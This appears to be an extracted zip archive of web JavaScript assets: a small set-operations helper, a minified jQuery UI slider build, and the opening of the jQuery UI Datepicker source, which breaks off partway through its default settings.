  // supply a unique key generator for sets of objects.
  so.pushUid = function(method) {
    uidList.push(method);
    uid = method;
    return method;
  };

  // Pop the previously pushed uid method off the stack and
  // assign top of stack to uid. Return the previous method.
  so.popUid = function() {
    var prev;
    uidList.length > 1 && (prev = uidList.pop());
    uid = uidList[uidList.length-1];
    return prev || null;
  };

  // Processes a histogram consructed from two arrays, 'a' and
'b'.
  // This function is used generically by the below set operation 
  // methods, a.k.a, 'evaluators', to return some subset of
  // a set union, based on frequencies in the histogram. 
  function process(a, b, evaluator) {
    // Create a histogram of 'a'.
    var hist = Object.create(null), out = [], ukey, k;
    a.forEach(function(value) {
      ukey = uid.call(value);
      if(!hist[ukey]) {
        hist[ukey] = { value: value, freq: 1 };
      }
    });
    // Merge 'b' into the histogram.
    b.forEach(function(value) {
      ukey = uid.call(value);
      if (hist[ukey]) {
        if (hist[ukey].freq === 1)
          hist[ukey].freq = 3;
      } else {
        hist[ukey] = { value: value, freq: 2 };
      }
    });
    // Call the given evaluator.
    if (evaluator) {
      for (k in hist) {
        if (evaluator(hist[k].freq)) out.push(hist[k].value);
      }
      return out;
    } else {
      return hist;
    }
  };

  // Join two sets together.
  // Set.union([1, 2, 2], [2, 3]) => [1, 2, 3]
  so.union = function(a, b) {
    return process(a, b, function(freq) {
      return true;
    });
  };

  // Return items common to both sets. 
  // Set.intersection([1, 1, 2], [2, 2, 3]) => [2]
  so.intersection = function(a, b) {
    return process(a, b, function(freq) {
      return freq === 3;
    });
  };

  // Symmetric difference. Items from either set that
  // are not in both sets.
  // Set.difference([1, 1, 2], [2, 3, 3]) => [1, 3]
  so.difference = function(a, b) {
    return process(a, b, function(freq) {
      return freq < 3;
    });
  };

  // Relative complement. Items from 'a' which are
  // not also in 'b'.
  // Set.complement([1, 2, 2], [2, 2, 3]) => [3]
  so.complement = function(a, b) {
    return process(a, b, function(freq) {
      return freq === 1;
    });
  };

  // Returns true if both sets are equivalent, false otherwise.
  // Set.equals([1, 1, 2], [1, 2, 2]) => true
  // Set.equals([1, 1, 2], [1, 2, 3]) => false
  so.equals = function(a, b) {
    var max = 0, min = Math.pow(2, 53), key,
      hist = process(a, b);
    for (var key in hist) {
      max = Math.max(max, hist[key].freq);
      min = Math.min(min, hist[key].freq);
    }
    return min === 3 && max === 3;
  };
})(window.setOps = window.setOps || Object.create(null));
;PK�v�[��V�V
assets/js/jquery-ui.range.min.jsnu�[���/*! jQuery UI - v1.12.1 -
2016-10-13
* http://jqueryui.com
* Includes: widget.js, keycode.js, widgets/mouse.js, widgets/slider.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */

(function(t){"function"==typeof
define&&define.amd?define(["jquery"],t):t(jQuery)})(function(t){t.ui=t.ui||{},t.ui.version="1.12.1";var
e=0,i=Array.prototype.slice;t.cleanData=function(e){return function(i){var
s,n,o;for(o=0;null!=(n=i[o]);o++)try{s=t._data(n,"events"),s&&s.remove&&t(n).triggerHandler("remove")}catch(a){}e(i)}}(t.cleanData),t.widget=function(e,i,s){var
n,o,a,r={},l=e.split(".")[0];e=e.split(".")[1];var
h=l+"-"+e;return
s||(s=i,i=t.Widget),t.isArray(s)&&(s=t.extend.apply(null,[{}].concat(s))),t.expr[":"][h.toLowerCase()]=function(e){return!!t.data(e,h)},t[l]=t[l]||{},n=t[l][e],o=t[l][e]=function(t,e){return
this._createWidget?(arguments.length&&this._createWidget(t,e),void
0):new
o(t,e)},t.extend(o,n,{version:s.version,_proto:t.extend({},s),_childConstructors:[]}),a=new
i,a.options=t.widget.extend({},a.options),t.each(s,function(e,s){return
t.isFunction(s)?(r[e]=function(){function t(){return
i.prototype[e].apply(this,arguments)}function n(t){return
i.prototype[e].apply(this,t)}return function(){var
e,i=this._super,o=this._superApply;return
this._super=t,this._superApply=n,e=s.apply(this,arguments),this._super=i,this._superApply=o,e}}(),void
0):(r[e]=s,void
0)}),o.prototype=t.widget.extend(a,{widgetEventPrefix:n?a.widgetEventPrefix||e:e},r,{constructor:o,namespace:l,widgetName:e,widgetFullName:h}),n?(t.each(n._childConstructors,function(e,i){var
s=i.prototype;t.widget(s.namespace+"."+s.widgetName,o,i._proto)}),delete
n._childConstructors):i._childConstructors.push(o),t.widget.bridge(e,o),o},t.widget.extend=function(e){for(var
s,n,o=i.call(arguments,1),a=0,r=o.length;r>a;a++)for(s in
o[a])n=o[a][s],o[a].hasOwnProperty(s)&&void
0!==n&&(e[s]=t.isPlainObject(n)?t.isPlainObject(e[s])?t.widget.extend({},e[s],n):t.widget.extend({},n):n);return
e},t.widget.bridge=function(e,s){var
n=s.prototype.widgetFullName||e;t.fn[e]=function(o){var
a="string"==typeof o,r=i.call(arguments,1),l=this;return
a?this.length||"instance"!==o?this.each(function(){var
i,s=t.data(this,n);return"instance"===o?(l=s,!1):s?t.isFunction(s[o])&&"_"!==o.charAt(0)?(i=s[o].apply(s,r),i!==s&&void
0!==i?(l=i&&i.jquery?l.pushStack(i.get()):i,!1):void
0):t.error("no such method '"+o+"' for
"+e+" widget instance"):t.error("cannot call methods on
"+e+" prior to initialization; "+"attempted to call
method '"+o+"'")}):l=void
0:(r.length&&(o=t.widget.extend.apply(null,[o].concat(r))),this.each(function(){var
e=t.data(this,n);e?(e.option(o||{}),e._init&&e._init()):t.data(this,n,new
s(o,this))})),l}},t.Widget=function(){},t.Widget._childConstructors=[],t.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(i,s){s=t(s||this.defaultElement||this)[0],this.element=t(s),this.uuid=e++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=t(),this.hoverable=t(),this.focusable=t(),this.classesElementLookup={},s!==this&&(t.data(s,this.widgetFullName,this),this._on(!0,this.element,{remove:function(t){t.target===s&&this.destroy()}}),this.document=t(s.style?s.ownerDocument:s.document||s),this.window=t(this.document[0].defaultView||this.document[0].parentWindow)),this.options=t.widget.extend({},this.options,this._getCreateOptions(),i),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:t.noop,_create:t.noop,_init:t.noop,destroy:function(){var
e=this;this._destroy(),t.each(this.classesElementLookup,function(t,i){e._removeClass(i,t)}),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:t.noop,widget:function(){return
this.element},option:function(e,i){var
s,n,o,a=e;if(0===arguments.length)return
t.widget.extend({},this.options);if("string"==typeof
e)if(a={},s=e.split("."),e=s.shift(),s.length){for(n=a[e]=t.widget.extend({},this.options[e]),o=0;s.length-1>o;o++)n[s[o]]=n[s[o]]||{},n=n[s[o]];if(e=s.pop(),1===arguments.length)return
void 0===n[e]?null:n[e];n[e]=i}else{if(1===arguments.length)return void
0===this.options[e]?null:this.options[e];a[e]=i}return
this._setOptions(a),this},_setOptions:function(t){var e;for(e in
t)this._setOption(e,t[e]);return
this},_setOption:function(t,e){return"classes"===t&&this._setOptionClasses(e),this.options[t]=e,"disabled"===t&&this._setOptionDisabled(e),this},_setOptionClasses:function(e){var
i,s,n;for(i in
e)n=this.classesElementLookup[i],e[i]!==this.options.classes[i]&&n&&n.length&&(s=t(n.get()),this._removeClass(n,i),s.addClass(this._classes({element:s,keys:i,classes:e,add:!0})))},_setOptionDisabled:function(t){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!t),t&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return
this._setOptions({disabled:!1})},disable:function(){return
this._setOptions({disabled:!0})},_classes:function(e){function i(i,o){var
a,r;for(r=0;i.length>r;r++)a=n.classesElementLookup[i[r]]||t(),a=e.add?t(t.unique(a.get().concat(e.element.get()))):t(a.not(e.element).get()),n.classesElementLookup[i[r]]=a,s.push(i[r]),o&&e.classes[i[r]]&&s.push(e.classes[i[r]])}var
s=[],n=this;return
e=t.extend({element:this.element,classes:this.options.classes||{}},e),this._on(e.element,{remove:"_untrackClassesElement"}),e.keys&&i(e.keys.match(/\S+/g)||[],!0),e.extra&&i(e.extra.match(/\S+/g)||[]),s.join("
")},_untrackClassesElement:function(e){var
i=this;t.each(i.classesElementLookup,function(s,n){-1!==t.inArray(e.target,n)&&(i.classesElementLookup[s]=t(n.not(e.target).get()))})},_removeClass:function(t,e,i){return
this._toggleClass(t,e,i,!1)},_addClass:function(t,e,i){return
this._toggleClass(t,e,i,!0)},_toggleClass:function(t,e,i,s){s="boolean"==typeof
s?s:i;var n="string"==typeof
t||null===t,o={extra:n?e:i,keys:n?t:e,element:n?this.element:t,add:s};return
o.element.toggleClass(this._classes(o),s),this},_on:function(e,i,s){var
n,o=this;"boolean"!=typeof
e&&(s=i,i=e,e=!1),s?(i=n=t(i),this.bindings=this.bindings.add(i)):(s=i,i=this.element,n=this.widget()),t.each(s,function(s,a){function
r(){return
e||o.options.disabled!==!0&&!t(this).hasClass("ui-state-disabled")?("string"==typeof
a?o[a]:a).apply(o,arguments):void 0}"string"!=typeof
a&&(r.guid=a.guid=a.guid||r.guid||t.guid++);var
l=s.match(/^([\w:-]*)\s*(.*)$/),h=l[1]+o.eventNamespace,c=l[2];c?n.on(h,c,r):i.on(h,r)})},_off:function(e,i){i=(i||"").split("
").join(this.eventNamespace+"
")+this.eventNamespace,e.off(i).off(i),this.bindings=t(this.bindings.not(e).get()),this.focusable=t(this.focusable.not(e).get()),this.hoverable=t(this.hoverable.not(e).get())},_delay:function(t,e){function
i(){return("string"==typeof t?s[t]:t).apply(s,arguments)}var
s=this;return
setTimeout(i,e||0)},_hoverable:function(e){this.hoverable=this.hoverable.add(e),this._on(e,{mouseenter:function(e){this._addClass(t(e.currentTarget),null,"ui-state-hover")},mouseleave:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-hover")}})},_focusable:function(e){this.focusable=this.focusable.add(e),this._on(e,{focusin:function(e){this._addClass(t(e.currentTarget),null,"ui-state-focus")},focusout:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-focus")}})},_trigger:function(e,i,s){var
n,o,a=this.options[e];if(s=s||{},i=t.Event(i),i.type=(e===this.widgetEventPrefix?e:this.widgetEventPrefix+e).toLowerCase(),i.target=this.element[0],o=i.originalEvent)for(n
in o)n in i||(i[n]=o[n]);return
this.element.trigger(i,s),!(t.isFunction(a)&&a.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},t.each({show:"fadeIn",hide:"fadeOut"},function(e,i){t.Widget.prototype["_"+e]=function(s,n,o){"string"==typeof
n&&(n={effect:n});var a,r=n?n===!0||"number"==typeof
n?i:n.effect||i:e;n=n||{},"number"==typeof
n&&(n={duration:n}),a=!t.isEmptyObject(n),n.complete=o,n.delay&&s.delay(n.delay),a&&t.effects&&t.effects.effect[r]?s[e](n):r!==e&&s[r]?s[r](n.duration,n.easing,o):s.queue(function(i){t(this)[e](),o&&o.call(s[0]),i()})}}),t.widget,t.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38},t.ui.ie=!!/msie
[\w.]+/.exec(navigator.userAgent.toLowerCase());var
s=!1;t(document).on("mouseup",function(){s=!1}),t.widget("ui.mouse",{version:"1.12.1",options:{cancel:"input,
textarea, button, select,
option",distance:1,delay:0},_mouseInit:function(){var
e=this;this.element.on("mousedown."+this.widgetName,function(t){return
e._mouseDown(t)}).on("click."+this.widgetName,function(i){return!0===t.data(i.target,e.widgetName+".preventClickEvent")?(t.removeData(i.target,e.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):void
0}),this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName),this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(e){if(!s){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(e),this._mouseDownEvent=e;var
i=this,n=1===e.which,o="string"==typeof
this.options.cancel&&e.target.nodeName?t(e.target).closest(this.options.cancel).length:!1;return
n&&!o&&this._mouseCapture(e)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(e)!==!1,!this._mouseStarted)?(e.preventDefault(),!0):(!0===t.data(e.target,this.widgetName+".preventClickEvent")&&t.removeData(e.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(t){return
i._mouseMove(t)},this._mouseUpDelegate=function(t){return
i._mouseUp(t)},this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate),e.preventDefault(),s=!0,!0)):!0}},_mouseMove:function(e){if(this._mouseMoved){if(t.ui.ie&&(!document.documentMode||9>document.documentMode)&&!e.button)return
this._mouseUp(e);if(!e.which)if(e.originalEvent.altKey||e.originalEvent.ctrlKey||e.originalEvent.metaKey||e.originalEvent.shiftKey)this.ignoreMissingWhich=!0;else
if(!this.ignoreMissingWhich)return
this._mouseUp(e)}return(e.which||e.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(e),e.preventDefault()):(this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,e)!==!1,this._mouseStarted?this._mouseDrag(e):this._mouseUp(e)),!this._mouseStarted)},_mouseUp:function(e){this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,e.target===this._mouseDownEvent.target&&t.data(e.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(e)),this._mouseDelayTimer&&(clearTimeout(this._mouseDelayTimer),delete
this._mouseDelayTimer),this.ignoreMissingWhich=!1,s=!1,e.preventDefault()},_mouseDistanceMet:function(t){return
Math.max(Math.abs(this._mouseDownEvent.pageX-t.pageX),Math.abs(this._mouseDownEvent.pageY-t.pageY))>=this.options.distance},_mouseDelayMet:function(){return
this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),t.widget("ui.slider",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"slidez",options:{animate:!1,classes:{"ui-slider":"ui-corner-all","ui-slider-handle":"ui-corner-all","ui-slider-range":"ui-corner-all
ui-widget-header"},distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},numPages:5,_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this._calculateNewMax(),this._addClass("ui-slider
ui-slider-"+this.orientation,"ui-widget
ui-widget-content"),this._refresh(),this._animateOff=!1},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var
e,i,s=this.options,n=this.element.find(".ui-slider-handle"),o="<span
tabindex='0'></span>",a=[];for(i=s.values&&s.values.length||1,n.length>i&&(n.slice(i).remove(),n=n.slice(0,i)),e=n.length;i>e;e++)a.push(o);this.handles=n.add(t(a.join("")).appendTo(this.element)),this._addClass(this.handles,"ui-slider-handle","ui-state-default"),this.handle=this.handles.eq(0),this.handles.each(function(e){t(this).data("ui-slider-handle-index",e).attr("tabIndex",0)})},_createRange:function(){var
e=this.options;e.range?(e.range===!0&&(e.values?e.values.length&&2!==e.values.length?e.values=[e.values[0],e.values[0]]:t.isArray(e.values)&&(e.values=e.values.slice(0)):e.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?(this._removeClass(this.range,"ui-slider-range-min
ui-slider-range-max"),this.range.css({left:"",bottom:""})):(this.range=t("<div>").appendTo(this.element),this._addClass(this.range,"ui-slider-range")),("min"===e.range||"max"===e.range)&&this._addClass(this.range,"ui-slider-range-"+e.range)):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){this._off(this.handles),this._on(this.handles,this._handleEvents),this._hoverable(this.handles),this._focusable(this.handles)},_destroy:function(){this.handles.remove(),this.range&&this.range.remove(),this._mouseDestroy()},_mouseCapture:function(e){var
i,s,n,o,a,r,l,h,c=this,u=this.options;return
u.disabled?!1:(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),i={x:e.pageX,y:e.pageY},s=this._normValueFromMouse(i),n=this._valueMax()-this._valueMin()+1,this.handles.each(function(e){var
i=Math.abs(s-c.values(e));(n>i||n===i&&(e===c._lastChangedValue||c.values(e)===u.min))&&(n=i,o=t(this),a=e)}),r=this._start(e,a),r===!1?!1:(this._mouseSliding=!0,this._handleIndex=a,this._addClass(o,null,"ui-state-active"),o.trigger("focus"),l=o.offset(),h=!t(e.target).parents().addBack().is(".ui-slider-handle"),this._clickOffset=h?{left:0,top:0}:{left:e.pageX-l.left-o.width()/2,top:e.pageY-l.top-o.height()/2-(parseInt(o.css("borderTopWidth"),10)||0)-(parseInt(o.css("borderBottomWidth"),10)||0)+(parseInt(o.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(e,a,s),this._animateOff=!0,!0))},_mouseStart:function(){return!0},_mouseDrag:function(t){var
e={x:t.pageX,y:t.pageY},i=this._normValueFromMouse(e);return
this._slide(t,this._handleIndex,i),!1},_mouseStop:function(t){return
this._removeClass(this.handles,null,"ui-state-active"),this._mouseSliding=!1,this._stop(t,this._handleIndex),this._change(t,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1,!1},_detectOrientation:function(){this.orientation="vertical"===this.options.orientation?"vertical":"horizontal"},_normValueFromMouse:function(t){var
e,i,s,n,o;return"horizontal"===this.orientation?(e=this.elementSize.width,i=t.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(e=this.elementSize.height,i=t.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),s=i/e,s>1&&(s=1),0>s&&(s=0),"vertical"===this.orientation&&(s=1-s),n=this._valueMax()-this._valueMin(),o=this._valueMin()+s*n,this._trimAlignValue(o)},_uiHash:function(t,e,i){var
s={handle:this.handles[t],handleIndex:t,value:void
0!==e?e:this.value()};return
this._hasMultipleValues()&&(s.value=void
0!==e?e:this.values(t),s.values=i||this.values()),s},_hasMultipleValues:function(){return
this.options.values&&this.options.values.length},_start:function(t,e){return
this._trigger("start",t,this._uiHash(e))},_slide:function(t,e,i){var
s,n,o=this.value(),a=this.values();this._hasMultipleValues()&&(n=this.values(e?0:1),o=this.values(e),2===this.options.values.length&&this.options.range===!0&&(i=0===e?Math.min(n,i):Math.max(n,i)),a[e]=i),i!==o&&(s=this._trigger("slide",t,this._uiHash(e,i,a)),s!==!1&&(this._hasMultipleValues()?this.values(e,i):this.value(i)))},_stop:function(t,e){this._trigger("stop",t,this._uiHash(e))},_change:function(t,e){this._keySliding||this._mouseSliding||(this._lastChangedValue=e,this._trigger("change",t,this._uiHash(e)))},value:function(t){return
arguments.length?(this.options.value=this._trimAlignValue(t),this._refreshValue(),this._change(null,0),void
0):this._value()},values:function(e,i){var
s,n,o;if(arguments.length>1)return
this.options.values[e]=this._trimAlignValue(i),this._refreshValue(),this._change(null,e),void
0;if(!arguments.length)return
this._values();if(!t.isArray(arguments[0]))return
this._hasMultipleValues()?this._values(e):this.value();for(s=this.options.values,n=arguments[0],o=0;s.length>o;o+=1)s[o]=this._trimAlignValue(n[o]),this._change(null,o);this._refreshValue()},_setOption:function(e,i){var
s,n=0;switch("range"===e&&this.options.range===!0&&("min"===i?(this.options.value=this._values(0),this.options.values=null):"max"===i&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),t.isArray(this.options.values)&&(n=this.options.values.length),this._super(e,i),e){case"orientation":this._detectOrientation(),this._removeClass("ui-slider-horizontal
ui-slider-vertical")._addClass("ui-slider-"+this.orientation),this._refreshValue(),this.options.range&&this._refreshRange(i),this.handles.css("horizontal"===i?"bottom":"left","");break;case"value":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),s=n-1;s>=0;s--)this._change(null,s);this._animateOff=!1;break;case"step":case"min":case"max":this._animateOff=!0,this._calculateNewMax(),this._refreshValue(),this._animateOff=!1;break;case"range":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_setOptionDisabled:function(t){this._super(t),this._toggleClass(null,"ui-state-disabled",!!t)},_value:function(){var
t=this.options.value;return
t=this._trimAlignValue(t)},_values:function(t){var
e,i,s;if(arguments.length)return
e=this.options.values[t],e=this._trimAlignValue(e);if(this._hasMultipleValues()){for(i=this.options.values.slice(),s=0;i.length>s;s+=1)i[s]=this._trimAlignValue(i[s]);return
i}return[]},_trimAlignValue:function(t){if(this._valueMin()>=t)return
this._valueMin();if(t>=this._valueMax())return this._valueMax();var
e=this.options.step>0?this.options.step:1,i=(t-this._valueMin())%e,s=t-i;return
2*Math.abs(i)>=e&&(s+=i>0?e:-e),parseFloat(s.toFixed(5))},_calculateNewMax:function(){var
t=this.options.max,e=this._valueMin(),i=this.options.step,s=Math.round((t-e)/i)*i;t=s+e,t>this.options.max&&(t-=i),this.max=parseFloat(t.toFixed(this._precision()))},_precision:function(){var
t=this._precisionOf(this.options.step);return
null!==this.options.min&&(t=Math.max(t,this._precisionOf(this.options.min))),t},_precisionOf:function(t){var
e=""+t,i=e.indexOf(".");return-1===i?0:e.length-i-1},_valueMin:function(){return
this.options.min},_valueMax:function(){return
this.max},_refreshRange:function(t){"vertical"===t&&this.range.css({width:"",left:""}),"horizontal"===t&&this.range.css({height:"",bottom:""})},_refreshValue:function(){var
e,i,s,n,o,a=this.options.range,r=this.options,l=this,h=this._animateOff?!1:r.animate,c={};this._hasMultipleValues()?this.handles.each(function(s){i=100*((l.values(s)-l._valueMin())/(l._valueMax()-l._valueMin())),c["horizontal"===l.orientation?"left":"bottom"]=i+"%",t(this).stop(1,1)[h?"animate":"css"](c,r.animate),l.options.range===!0&&("horizontal"===l.orientation?(0===s&&l.range.stop(1,1)[h?"animate":"css"]({left:i+"%"},r.animate),1===s&&l.range[h?"animate":"css"]({width:i-e+"%"},{queue:!1,duration:r.animate})):(0===s&&l.range.stop(1,1)[h?"animate":"css"]({bottom:i+"%"},r.animate),1===s&&l.range[h?"animate":"css"]({height:i-e+"%"},{queue:!1,duration:r.animate}))),e=i}):(s=this.value(),n=this._valueMin(),o=this._valueMax(),i=o!==n?100*((s-n)/(o-n)):0,c["horizontal"===this.orientation?"left":"bottom"]=i+"%",this.handle.stop(1,1)[h?"animate":"css"](c,r.animate),"min"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({width:i+"%"},r.animate),"max"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({width:100-i+"%"},r.animate),"min"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({height:i+"%"},r.animate),"max"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({height:100-i+"%"},r.animate))},_handleEvents:{keydown:function(e){var
i,s,n,o,a=t(e.target).data("ui-slider-handle-index");switch(e.keyCode){case
t.ui.keyCode.HOME:case t.ui.keyCode.END:case t.ui.keyCode.PAGE_UP:case
t.ui.keyCode.PAGE_DOWN:case t.ui.keyCode.UP:case t.ui.keyCode.RIGHT:case
t.ui.keyCode.DOWN:case
t.ui.keyCode.LEFT:if(e.preventDefault(),!this._keySliding&&(this._keySliding=!0,this._addClass(t(e.target),null,"ui-state-active"),i=this._start(e,a),i===!1))return}switch(o=this.options.step,s=n=this._hasMultipleValues()?this.values(a):this.value(),e.keyCode){case
t.ui.keyCode.HOME:n=this._valueMin();break;case
t.ui.keyCode.END:n=this._valueMax();break;case
t.ui.keyCode.PAGE_UP:n=this._trimAlignValue(s+(this._valueMax()-this._valueMin())/this.numPages);break;case
t.ui.keyCode.PAGE_DOWN:n=this._trimAlignValue(s-(this._valueMax()-this._valueMin())/this.numPages);break;case
t.ui.keyCode.UP:case
t.ui.keyCode.RIGHT:if(s===this._valueMax())return;n=this._trimAlignValue(s+o);break;case
t.ui.keyCode.DOWN:case
t.ui.keyCode.LEFT:if(s===this._valueMin())return;n=this._trimAlignValue(s-o)}this._slide(e,a,n)},keyup:function(e){var
i=t(e.target).data("ui-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(e,i),this._change(e,i),this._removeClass(t(e.target),null,"ui-state-active"))}}})});PK�v�[
���-�-!assets/js/jquery.ui.datepicker.jsnu�[���/*!
 * jQuery UI Datepicker 1.9.2
 * http://jqueryui.com
 *
 * Copyright 2012 jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/datepicker/
 *
 * Depends:
 *	jquery.ui.core.js
 */
(function( $, undefined ) {

$.extend($.ui, { datepicker: { version: "1.9.2" } });

var PROP_NAME = 'datepicker';
var dpuuid = new Date().getTime();
var instActive;

/* Date picker manager.
   Use the singleton instance of this class, $.datepicker, to interact with
the date picker.
   Settings for (groups of) date pickers are maintained in an instance
object,
   allowing multiple different settings on the same page. */

function Datepicker() {
	this.debug = false; // Change this to true to start debugging
	this._curInst = null; // The current instance in use
	this._keyEvent = false; // If the last event was a key event
	this._disabledInputs = []; // List of date picker inputs that have been
disabled
	this._datepickerShowing = false; // True if the popup picker is showing ,
false if not
	this._inDialog = false; // True if showing within a "dialog",
false if not
	this._mainDivId = 'ui-datepicker-div'; // The ID of the main
datepicker division
	this._inlineClass = 'ui-datepicker-inline'; // The name of the
inline marker class
	this._appendClass = 'ui-datepicker-append'; // The name of the
append marker class
	this._triggerClass = 'ui-datepicker-trigger'; // The name of the
trigger marker class
	this._dialogClass = 'ui-datepicker-dialog'; // The name of the
dialog marker class
	this._disableClass = 'ui-datepicker-disabled'; // The name of
the disabled covering marker class
	this._unselectableClass = 'ui-datepicker-unselectable'; // The
name of the unselectable cell marker class
	this._currentClass = 'ui-datepicker-current-day'; // The name of
the current day marker class
	this._dayOverClass = 'ui-datepicker-days-cell-over'; // The name
of the day hover marker class
	this.regional = []; // Available regional settings, indexed by language
code
	this.regional[''] = { // Default regional settings
		closeText: 'Done', // Display text for close link
		prevText: 'Prev', // Display text for previous month link
		nextText: 'Next', // Display text for next month link
		currentText: 'Today', // Display text for current month link
		monthNames:
['January','February','March','April','May','June',
			'July','August','September','October','November','December'],
// Names of months for drop-down and formatting
		monthNamesShort: ['Jan', 'Feb', 'Mar',
'Apr', 'May', 'Jun', 'Jul',
'Aug', 'Sep', 'Oct', 'Nov',
'Dec'], // For formatting
		dayNames: ['Sunday', 'Monday', 'Tuesday',
'Wednesday', 'Thursday', 'Friday',
'Saturday'], // For formatting
		dayNamesShort: ['Sun', 'Mon', 'Tue',
'Wed', 'Thu', 'Fri', 'Sat'], // For
formatting
		dayNamesMin:
['Su','Mo','Tu','We','Th','Fr','Sa'],
// Column headings for days starting at Sunday
		weekHeader: 'Wk', // Column header for week of the year
		dateFormat: 'mm/dd/yy', // See format options on parseDate
		firstDay: 0, // The first day of the week, Sun = 0, Mon = 1, ...
		isRTL: false, // True if right-to-left language, false if left-to-right
		showMonthAfterYear: false, // True if the year select precedes month,
false for month then year
		yearSuffix: '' // Additional text to append to the year in the
month headers
	};
	this._defaults = { // Global defaults for all the date picker instances
		showOn: 'focus', // 'focus' for popup on focus,
			// 'button' for trigger button, or 'both' for either
		showAnim: 'fadeIn', // Name of jQuery animation for popup
		showOptions: {}, // Options for enhanced animations
		defaultDate: null, // Used when field is blank: actual date,
			// +/-number for offset from today, null for today
		appendText: '', // Display text following the input box, e.g.
showing the format
		buttonText: '...', // Text for trigger button
		buttonImage: '', // URL for trigger button image
		buttonImageOnly: false, // True if the image appears alone, false if it
appears on a button
		hideIfNoPrevNext: false, // True to hide next/previous month links
			// if not applicable, false to just disable them
		navigationAsDateFormat: false, // True if date formatting applied to
prev/today/next links
		gotoCurrent: false, // True if today link goes back to current selection
instead
		changeMonth: false, // True if month can be selected directly, false if
only prev/next
		changeYear: false, // True if year can be selected directly, false if
only prev/next
		yearRange: 'c-10:c+10', // Range of years to display in
drop-down,
			// either relative to today's year (-nn:+nn), relative to currently
displayed year
			// (c-nn:c+nn), absolute (nnnn:nnnn), or a combination of the above
(nnnn:-n)
		showOtherMonths: false, // True to show dates in other months, false to
leave blank
		selectOtherMonths: false, // True to allow selection of dates in other
months, false for unselectable
		showWeek: false, // True to show week of the year, false to not show it
		calculateWeek: this.iso8601Week, // How to calculate the week of the
year,
			// takes a Date and returns the number of the week for it
		shortYearCutoff: '+10', // Short year values < this are in
the current century,
			// > this are in the previous century,
			// string value starting with '+' for current year + value
		minDate: null, // The earliest selectable date, or null for no limit
		maxDate: null, // The latest selectable date, or null for no limit
		duration: 'fast', // Duration of display/closure
		beforeShowDay: null, // Function that takes a date and returns an array
with
			// [0] = true if selectable, false if not, [1] = custom CSS class
name(s) or '',
			// [2] = cell title (optional), e.g. $.datepicker.noWeekends
		beforeShow: null, // Function that takes an input field and
			// returns a set of custom settings for the date picker
		onSelect: null, // Define a callback function when a date is selected
		onChangeMonthYear: null, // Define a callback function when the month or
year is changed
		onClose: null, // Define a callback function when the datepicker is
closed
		numberOfMonths: 1, // Number of months to show at a time
		showCurrentAtPos: 0, // The position in multipe months at which to show
the current month (starting at 0)
		stepMonths: 1, // Number of months to step back/forward
